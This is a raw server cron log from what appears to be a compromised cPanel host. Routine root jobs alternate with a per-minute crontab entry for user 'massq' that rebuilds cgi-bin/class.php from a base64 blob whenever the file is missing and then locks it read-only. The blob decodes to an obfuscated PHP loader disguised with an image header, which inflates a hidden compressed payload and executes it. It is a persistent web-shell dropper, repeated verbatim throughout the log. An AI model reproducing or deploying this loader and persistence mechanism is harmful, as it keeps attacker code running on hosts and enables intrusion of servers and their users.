Nov  9 15:50:01 server CROND[14783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:50:01 server CROND[14784]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:50:01 server CROND[14786]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 15:51:01 server CROND[15524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:52:01 server CROND[16153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:53:01 server CROND[16975]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:54:01 server CROND[17946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:55:01 server CROND[18776]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:55:01 server CROND[18777]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:55:01 server CROND[18778]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:56:01 server CROND[19205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:57:01 server CROND[20083]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 15:57:01 server CROND[20085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:58:01 server CROND[20849]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:59:01 server CROND[21588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:00:01 server CROND[22464]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 16:00:01 server CROND[22465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 16:00:01 server CROND[22470]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 16:00:01 server CROND[22469]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:00:01 server CROND[22471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 16:01:01 server CROND[23477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 16:01:01 server CROND[23478]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 16:01:01 server run-parts(/etc/cron.hourly)[23478]: starting 0anacron
Nov  9 16:01:01 server run-parts(/etc/cron.hourly)[23490]: finished 0anacron
Nov  9 16:02:01 server CROND[24323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
